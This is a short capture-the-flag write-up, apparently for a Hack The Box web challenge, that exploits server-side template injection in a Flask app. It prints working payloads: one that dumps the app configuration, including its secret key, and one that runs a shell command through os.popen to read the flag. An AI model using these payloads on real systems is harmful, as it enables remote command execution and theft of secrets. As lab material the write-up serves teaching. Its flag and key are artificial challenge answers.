Trial by Fire

Personal Rating: Easy

We start off with a website and we have the source code for it. Routes.py shows this:

Routes.py

Flask is used as template engine and user input is used in a template. An SSTI is very likely.

Inserting {{7*7}} yields 49 as warrior name, which confirms the SSTI vulnerability.

Inserting {{config.items()}} yields:

dict_items([('DEBUG', False), ('TESTING', False), ('PROPAGATE_EXCEPTIONS', None), ('SECRET_KEY', '47daf22e1b363cae2b4bc0a401e5231cefc537001d355247475e9c7560006765f1881dca5e920556f8e592b0bf5c259d3dc8d46aa811b0b2175e71a74d9c033521df55f8d0'), ('SECRET_KEY_FALLBACKS', None), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(days=31)), ('USE_X_SENDFILE', False), ('TRUSTED_HOSTS', None), ('SERVER_NAME', None), ('APPLICATION_ROOT', '/'), ('SESSION_COOKIE_NAME', 'session'), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_PATH', None), ('SESSION_COOKIE_HTTPONLY', True), ('SESSION_COOKIE_SECURE', False), ('SESSION_COOKIE_PARTITIONED', False), ('SESSION_COOKIE_SAMESITE', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('MAX_CONTENT_LENGTH', None), ('MAX_FORM_MEMORY_SIZE', 500000), ('MAX_FORM_PARTS', 1000), ('SEND_FILE_MAX_AGE_DEFAULT', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('TRAP_HTTP_EXCEPTIONS', False), ('EXPLAIN_TEMPLATE_LOADING', False), ('PREFERRED_URL_SCHEME', 'http'), ('TEMPLATES_AUTO_RELOAD', None), ('MAX_COOKIE_SIZE', 4093), ('PROVIDE_AUTOMATIC_OPTIONS', True)])

I tested some more payloads. Some of them returned a lot of information about the internal environment. This one worked to read files and read the flag:

{{ namespace.__init__.__globals__.os.popen('cat flag.txt').read() }}

HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_a206c8b374d5751352fa25389e55a03f}